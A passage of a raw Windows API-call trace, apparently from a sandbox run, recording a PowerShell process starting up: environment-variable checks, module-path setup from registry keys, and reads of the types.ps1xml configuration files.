lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.333] GetLastError () returned 0xcb [0051.334] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.334] GetLastError () returned 0xcb [0051.340] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.340] GetLastError () returned 0xcb [0051.340] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.340] GetLastError () returned 0xcb [0051.341] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.341] GetLastError () returned 0xcb [0051.342] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.342] GetLastError () returned 0xcb [0051.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.350] GetLastError () returned 0xcb [0051.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.350] GetLastError () returned 0xcb [0051.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.350] GetLastError () returned 0xcb [0051.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.350] GetLastError () returned 0xcb [0051.411] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.411] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0051.412] GetLastError () returned 0x3 [0051.414] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0051.414] GetLastError () returned 0x3 [0051.415] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x2d1db8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0051.415] GetLastError () returned 0x3 [0051.415] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e5c0 | out: phkResult=0x27e5c0*=0x338) returned 0x0 [0051.415] RegQueryValueExW (in: hKey=0x338, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27e604, lpData=0x0, lpcbData=0x27e600*=0x0 | out: lpType=0x27e604*=0x2, lpData=0x0, lpcbData=0x27e600*=0x6c) returned 0x0 [0051.416] RegQueryValueExW (in: hKey=0x338, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27e604, lpData=0x2d1db8, lpcbData=0x27e600*=0x6c | out: lpType=0x27e604*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x27e600*=0x6c) returned 0x0 [0051.416] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x2d1db8, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0051.416] GetLastError () returned 0x3 [0051.416] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x2d1db8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0051.416] GetLastError () returned 0x3 [0051.416] RegCloseKey (hKey=0x338) returned 0x0 [0051.416] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x2d1db8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0051.416] GetLastError () returned 0x3 [0051.416] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e5c0 | out: phkResult=0x27e5c0*=0x338) returned 0x0 [0051.417] RegQueryValueExW (in: hKey=0x338, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27e604, lpData=0x0, lpcbData=0x27e600*=0x0 | out: lpType=0x27e604*=0x0, lpData=0x0, lpcbData=0x27e600*=0x0) returned 0x2 [0051.417] RegCloseKey (hKey=0x338) returned 0x0 [0051.456] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x2d1db8 | out: pszPath="C:\\Users\\kFT6uTQW\\Documents") returned 0x0 [0051.458] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents", nBufferLength=0x105, lpBuffer=0x27e128, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents", lpFilePart=0x0) returned 0x1b [0051.458] GetLastError () returned 0x3f0 [0051.458] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\kFT6uTQW\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0051.458] GetLastError () returned 0x3f0 [0051.466] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.466] GetLastError () returned 0xcb [0051.467] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.467] GetLastError () returned 0xcb [0051.471] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.471] GetLastError () returned 0xcb [0051.471] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.471] GetLastError () returned 0xcb [0051.477] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e540 | out: phkResult=0x27e540*=0x340) returned 0x0 [0051.478] RegQueryValueExW (in: hKey=0x340, lpValueName="path", lpReserved=0x0, lpType=0x27e5a8, lpData=0x0, lpcbData=0x27e5a4*=0x0 | out: lpType=0x27e5a8*=0x1, lpData=0x0, lpcbData=0x27e5a4*=0x74) returned 0x0 [0051.478] RegQueryValueExW (in: hKey=0x340, lpValueName="path", lpReserved=0x0, lpType=0x27e588, lpData=0x0, lpcbData=0x27e584*=0x0 | out: lpType=0x27e588*=0x1, lpData=0x0, lpcbData=0x27e584*=0x74) returned 0x0 [0051.479] RegQueryValueExW (in: hKey=0x340, lpValueName="path", lpReserved=0x0, lpType=0x27e588, lpData=0x2d1db8, lpcbData=0x27e584*=0x74 | out: lpType=0x27e588*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x27e584*=0x74) returned 0x0 [0051.479] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x27e108, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0051.479] GetLastError () returned 0xcb [0051.479] SetErrorMode (uMode=0x1) returned 0x1 [0051.479] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x27e588 | out: lpFileInformation=0x27e588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0051.479] GetLastError () returned 0xcb [0051.479] SetErrorMode (uMode=0x1) returned 0x1 [0051.481] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0051.481] GetLastError () returned 0xcb [0051.481] SetErrorMode (uMode=0x1) returned 0x1 [0051.482] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e57c | out: lpFileInformation=0x27e57c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0051.482] GetLastError () returned 0xcb [0051.482] SetErrorMode (uMode=0x1) returned 0x1 [0051.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e0fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0051.484] GetLastError () returned 0xcb [0051.484] SetErrorMode (uMode=0x1) returned 0x1 [0051.484] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27e57c | out: lpFileInformation=0x27e57c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0051.485] GetLastError () returned 0xcb [0051.485] SetErrorMode (uMode=0x1) returned 0x1 [0051.489] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0051.489] GetLastError () returned 0xcb [0051.490] GetACP () returned 0x4e4 [0051.516] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27df8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0051.516] GetLastError () returned 0x0 [0051.516] SetErrorMode (uMode=0x1) returned 0x1 [0051.518] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x344 [0051.518] GetLastError () returned 0x0 [0051.518] GetFileType (hFile=0x344) returned 0x1 [0051.518] SetErrorMode (uMode=0x1) returned 0x1 [0051.519] GetFileType (hFile=0x344) returned 0x1 [0051.519] ReadFile (in: hFile=0x344, lpBuffer=0x2abb650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abb650*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.523] GetLastError () returned 0x0 [0051.524] ReadFile (in: hFile=0x344, lpBuffer=0x2abb650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abb650*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.524] GetLastError () returned 0x0 [0051.524] ReadFile (in: hFile=0x344, lpBuffer=0x2abb650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abb650*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.524] GetLastError () returned 0x0 [0051.525] ReadFile (in: hFile=0x344, lpBuffer=0x2abb650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abb650*, lpNumberOfBytesRead=0x27e4f4*=0xcf3, lpOverlapped=0x0) returned 1 [0051.525] GetLastError () returned 0x0 [0051.525] ReadFile (in: hFile=0x344, lpBuffer=0x2abaae3, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abaae3*, lpNumberOfBytesRead=0x27e4f4*=0x0, lpOverlapped=0x0) returned 1 [0051.525] GetLastError () returned 0x0 [0051.525] ReadFile (in: hFile=0x344, lpBuffer=0x2abb650, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abb650*, lpNumberOfBytesRead=0x27e4f4*=0x0, lpOverlapped=0x0) returned 1 [0051.525] GetLastError () returned 0x0 [0051.525] CloseHandle (hObject=0x344) returned 1 [0051.525] GetLastError () returned 0x0 [0051.526] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e054, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0051.526] GetLastError () returned 0x0 [0051.526] SetErrorMode (uMode=0x1) returned 0x1 [0051.526] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2acc9c4 | out: lpFileInformation=0x2acc9c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0051.526] GetLastError () returned 0x0 [0051.526] SetErrorMode (uMode=0x1) returned 0x1 [0051.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0051.540] GetLastError () returned 0x0 [0051.540] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e478 | out: phkResult=0x27e478*=0x344) returned 0x0 [0051.540] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e4c0, lpData=0x0, lpcbData=0x27e4bc*=0x0 | out: lpType=0x27e4c0*=0x1, lpData=0x0, lpcbData=0x27e4bc*=0x56) returned 0x0 [0051.540] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e4c0, lpData=0x2d1db8, lpcbData=0x27e4bc*=0x56 | out: lpType=0x27e4c0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e4bc*=0x56) returned 0x0 [0051.541] RegCloseKey (hKey=0x344) returned 0x0 [0051.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27e020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0051.541] GetLastError () returned 0x0 [0051.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27dfb4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0051.541] GetLastError () returned 0x0 [0051.625] GetSystemInfo (in: lpSystemInfo=0x27dbf8 | out: lpSystemInfo=0x27dbf8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0051.626] VirtualQuery (in: lpAddress=0x27d3b4, lpBuffer=0x27e3b4, dwLength=0x1c | out: lpBuffer=0x27e3b4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0051.651] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27df8c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0051.651] GetLastError () returned 0x0 [0051.651] SetErrorMode (uMode=0x1) returned 0x1 [0051.651] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x344 [0051.652] GetLastError () returned 0x0 [0051.652] GetFileType (hFile=0x344) returned 0x1 [0051.652] SetErrorMode (uMode=0x1) returned 0x1 [0051.652] GetFileType (hFile=0x344) returned 0x1 [0051.652] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.659] GetLastError () returned 0x0 [0051.660] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.661] GetLastError () returned 0x0 [0051.661] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.661] GetLastError () returned 0x0 [0051.662] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.662] GetLastError () returned 0x0 [0051.662] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.662] GetLastError () returned 0x0 [0051.663] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.663] GetLastError () returned 0x0 [0051.663] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.663] GetLastError () returned 0x0 [0051.663] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.663] GetLastError () returned 0x0 [0051.663] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, lpOverlapped=0x0 | out: lpBuffer=0x2b00de0*, lpNumberOfBytesRead=0x27e4f4*=0x1000, lpOverlapped=0x0) returned 1 [0051.663] GetLastError () returned 0x0 [0051.664] ReadFile (in: hFile=0x344, lpBuffer=0x2b00de0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e4f4, 